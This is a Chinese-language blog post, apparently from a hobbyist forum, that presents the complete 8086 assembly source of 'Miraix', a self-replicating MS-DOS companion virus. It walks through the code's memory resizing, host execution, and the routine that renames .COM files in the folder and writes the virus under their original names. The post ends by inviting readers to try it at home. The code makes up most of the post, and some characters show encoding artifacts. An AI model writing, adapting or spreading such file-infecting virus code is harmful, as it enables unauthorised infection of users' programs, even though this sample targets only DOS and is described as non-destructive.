ETH官方钱包

前往
大廳
主題

病毒開發(fā)(8) - Companion Virus 原始碼與設(shè)計(jì)上的細(xì)節(jié)

虛鹿 | 2022-03-06 10:49:57 | 巴幣 36 | 人氣 522


各位先聽首歌,
放鬆一下心情,並做好心理準(zhǔn)備。
因?yàn)榈纫幌乱v解的,
是一個(gè)約130行左右的組合語(yǔ)言病毒。
(媽的我寫了快一周才做出來(lái)...... = =

真心建議,那些想學(xué)病毒開發(fā)的巴友,
先去把組合語(yǔ)言的基礎(chǔ)學(xué)熟,
否則我怕諸君的心臟真的會(huì)受不了….∑(?Д?)

由於
上一次已經(jīng)介紹過(guò)Companion Virus的定義,
已及這份病毒執(zhí)行時(shí)的感染特徵,
因此這邊就不再贅述。

總之,
在窩完成開發(fā)這個(gè)病毒後,
我認(rèn)為Companion Virus 在設(shè)計(jì)上的幾個(gè)重點(diǎn),
分別是:

       1. 如何重新分配記憶體空間 ?
       2. 如何呼叫宿主,並成功執(zhí)行之 ?
       3. 如何正確地讓宿主轉(zhuǎn)移控制權(quán)回病毒 ?
       4. 如何幫宿主善後 ?
       5. 組語(yǔ)的string manipulation ?      

這邊先給各位看看原始碼,
等一下再一一解釋我的處理方法。

[#] 病毒規(guī)格:
開發(fā)者: 虛鹿(Falsedeer)
平臺(tái): MS-DOS(Dosbox可模擬)
語(yǔ)法: 8086 Assembly (TASM)
感染範(fàn)圍: 所在的資料夾而已
是否有隱藏檔案: 無(wú)
是否有破壞性: 無(wú),單純感染COM
預(yù)設(shè)的宿主: Hello.com

[#] Miraix 原始碼:
; miarix - companion virus version
; coded by [email protected], 02/24/2022

; ==================== CODE AREA ======================
.model small
.CODE
.386
ORG 100h

Filename EQU (OFFSET DTA) + 1eh
virsize EQU (OFFSET finish) - (OFFSET start)

start:
    jmp exechost

exechost:
    mov bx, OFFSET virsize + 100h                ;re-size memory to the minimun require
    mov ah, 4ah
    int 21h
    
    xor al, al
    mov bx, OFFSET paramblk
    mov dx, OFFSET Hostname
    mov sp, OFFSET finish + 100h                 ;move self(virus) after host program
    mov ah, 4bh
    int 21h
    
cleanup:
    mov ah, 1ah
    mov dx, OFFSET DTA
    int 21h                                                      ;reset all register fucked up by host program
    mov ax, cs
    mov ss, ax
    mov ds, ax
    mov es, ax
    mov sp, (OFFSET virsize) + 200h          ;reset stack pointer

search:
    mov ah, 4eh
    xor cx, cx                                                ;prepare for first search
    mov dx, OFFSET Filetype1    
    int 21h
    jc done                                                   ;end process, if the isn't any first match
    xor di, di                                                 ;set di to zero, prepare for filter's
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]                            ;saving filename's first letter manualy.
    mov byte PTR [bp], al
                                                                   ;saving filename to var:Hostname
markup:                                                     ;moving all shits before terminate zero to overwrite hostname
    inc di
    xor ax, ax
    mov al, byte ptr [bx+di]
    mov byte ptr [bp+di], al
    cmp byte ptr [bp+di], '.'
    jnz markup

xchgext:                                                      ;change the extension to COM
    inc di
    mov byte PTR [bp+di], 'C'
    inc di
    mov byte PTR [bp+di], 'O'
    inc di
    mov byte PTR [bp+di], 'M'
    inc di
    mov byte PTR [bp+di], 0                            ;adding a terminate zero for the var
    mov si, di

xchgname:
    lea bx, Hostname
    mov di, si
    mov byte ptr [bx], 'X'
    mov byte ptr [bx+di], 0
    lea bx, Hostname
    mov byte ptr [bx+di], 0

infect:
    mov ah, 56h                                           ;rename the new victim
    mov dx, OFFSET Filename                    ;original filename
    mov di, OFFSET Hostname                   ;new filename
    int 21h

    xor ax, ax
    mov ah, 3ch
    mov cx, 0                                              ;create new companion file
    mov dx, OFFSET Filename                  ;return file handler on ax
    int 21h

    xchg bx, ax                                           ;throw the file handle to bx
    mov ah, 40h                                          ;write virus to the companion file
    mov cx, OFFSET virsize
    mov dx, 100h
    int 21h

search_next:
    mov ah, 4fh                                           ;prepare for next search
    mov dx, OFFSET Filetype1
    int 21h
    jc done
    xor di, di
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]
    mov byte PTR [bp], al
    jmp markup

done:
    mov ah, 4ch
    int 21h
                         
; ====================== VAR AREA ======================
Hostname db "HELLO.COM",0                   ;this victim
Filetype1 db "*.COM",0                                ;set COM File as target
msg db "test$"                                              ;for debug
DTA db 128 dup(0)                                       ;dta is 128 byte long
paramblk:                                                     ;fucking parameter block for exec host program
    dw 0
    dw 0
    dw 5ch
    dw ?
    dw 6ch
    dw ?
    dw ?

; =====================================================    
    
finish:                                                           ;marks the end of code
end start

[#] 程式碼解析:
-----------------------------------------
1. 如何重新分配記憶體空間 ?

Ans: 為了要能夠呼叫宿主的程式,
因此我們必須充新分配記憶體空間,
來(lái)把自身佔(zhàn)據(jù)的記憶體壓縮至最小。

由於COM檔預(yù)設(shè)的記憶體大小為64KB,
因此如果妥善分配,是不可能不夠用的。
於是呢,在exechost下方的那段:
exechost:
    mov bx, OFFSET virsize + 100h       ;re-size memory to the minimun require
    mov ah, 4ah
    int 21h
便是用來(lái)處理記憶體空間的分配。

分配的方法是使用Dos Int 4Ah (Modify Alocated Memory),
而劃分的大小為病毒自身的大小(virsize),
加上100h(256 byte)多餘的緩衝空間。
-----------------------------------------
2. 如何呼叫宿主,並成功執(zhí)行之 ?

Ans:
對(duì)應(yīng)的程式碼為exechost的下半部。
exechost:
   ~~~~ relocate memory ~~~~

    xor al, al
    mov bx, OFFSET paramblk
    mov dx, OFFSET Hostname
    mov sp, OFFSET finish + 100h                 ;move self(virus) after host program
    mov ah, 4bh
    int 21h
執(zhí)行的方法是使用Dos Int 4Bh(execute program),
paramblock 中指定的地址就是預(yù)設(shè)FCB的地址,
基本上照抄我的設(shè)定即可,不必特別去了解。

還有一點(diǎn)必須提一下,
這邊我把stack pointer移到病毒後方100h的位置,
是為了避免呼叫的宿主程式有用到stack指令,
讓病毒的參數(shù)與宿主的資料混再一起。
因此,在這個(gè)地方就先移動(dòng) sp,
讓宿主能夠安心使用。
-----------------------------------------
3. 如何正確地讓宿主轉(zhuǎn)移控制權(quán)回病毒 ?

Ans:
這個(gè)部分對(duì)應(yīng)的程式碼為:
cleanup:
    mov ah, 1ah
    mov dx, OFFSET DTA
    int 21h                                                      ;reset all register fucked up by host program
    mov ax, cs
    mov ss, ax
    mov ds, ax
    mov es, ax
    mov sp, (OFFSET virsize) + 200h          ;reset stack pointer

由於COM檔的特性,
CS=DS=ES=SS
所以我使用CS重設(shè)所有暫存器的值。
畢竟在呼叫宿主程式後,
他使用的暫存器肯定會(huì)有部分與病毒重疊,
因此我們必須為他善後。

還有一點(diǎn)必須注意,
那行 mov sp,  (offset virsize) +200h
是為了回復(fù)原先的sp的值。
一個(gè)PSP是100h,加上我們先前移動(dòng)的100h,
因此這邊需移動(dòng)的距離為:

宿主PSP + 事先規(guī)劃的位置(病毒後方100h)
+ 病毒本體大小(virsize) = virsize + 200h

沒意外地話,dos int 4bh 在正確執(zhí)行後,
控制權(quán)會(huì)返還呼叫的病毒。
-----------------------------------------
5. 組語(yǔ)的string manipulation ?    

Ans:
由於虛鹿我真的不知道,
該如何從記憶體中提取變數(shù),
並修改字串中的部分字母。(為了重新命名宿主)

我這部分想了超久,
畢竟 Stack overflow上沒有類似的疑問(wèn),
因此我大該花了4, 5天,才想到處理辦法:

"只要沒有變數(shù),就沒有提取變數(shù)的問(wèn)題 !!"

哇幹咧,我他媽的簡(jiǎn)直是天才。

所以,我這邊是使用很暴力的手法,
直接去修改記憶體中的值,
這樣就能直接避免問(wèn)題產(chǎn)生了。

對(duì)應(yīng)的程式碼:
search:
    mov ah, 4eh
    xor cx, cx                                          ;prepare for first search
    mov dx, OFFSET Filetype1    
    int 21h
    jc done                                               ;end process, if the isn't any first match
    xor di, di                                             ;set di to zero, prepare for filter's
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]                        ;saving filename's first letter manualy.
    mov byte PTR [bp], al
                                                              ;saving filename to var:Hostname
markup:                                                 ;moving all shits before terminate zero to overwrite hostname
    inc di
    xor ax, ax
    mov al, byte ptr [bx+di]
    mov byte ptr [bp+di], al
    cmp byte ptr [bp+di], '.'
    jnz markup

xchgext:                                                         ;change the extension to COM
    inc di
    mov byte PTR [bp+di], 'C'
    inc di
    mov byte PTR [bp+di], 'O'
    inc di
    mov byte PTR [bp+di], 'M'
    inc di
    mov byte PTR [bp+di], 0                            ;adding a terminate zero for the var
    mov si, di

xchgname:
    lea bx, Hostname
    mov di, si
    mov byte ptr [bx], 'X'                                 ;change the first letter of the hostname to "X"
    mov byte ptr [bx+di], 0
    lea bx, Hostname
    mov byte ptr [bx+di], 0

相關(guān)操作手法,
可以參考一下這一篇在處理字串的部分。
-----------------------------------------
好啦,這次就先講到這邊,
有興趣的記得回家試試看虛鹿的病毒。
如果沒意外的話,
下次會(huì)介紹三種基本的Com infector之中,
最後一種: Parasitic Virus(寄生病毒) !!
\(≧▽≦)/




送禮物贊助創(chuàng)作者 !
0
留言

創(chuàng)作回應(yīng)

Nero
酷 不過(guò)是ㄅ是因?yàn)橛肈OS才能這樣直接改記憶體的值 我記得我那時(shí)候在win10用MASM連keyboard interrupt都擋掉
2022-03-06 11:06:36
虛鹿
這個(gè)我不太確定,畢竟我寫的程式都是用8086 Assembly(16 bit),因此根本無(wú)法獨(dú)立在現(xiàn)今的windows 版本上執(zhí)行。
2022-03-07 18:10:41
虛鹿
但我認(rèn)為,應(yīng)該有比更改記憶體之外更好的處理辦法,或許只是我還沒學(xué)會(huì)相關(guān)操作而已。
2022-03-07 18:14:23

更多創(chuàng)作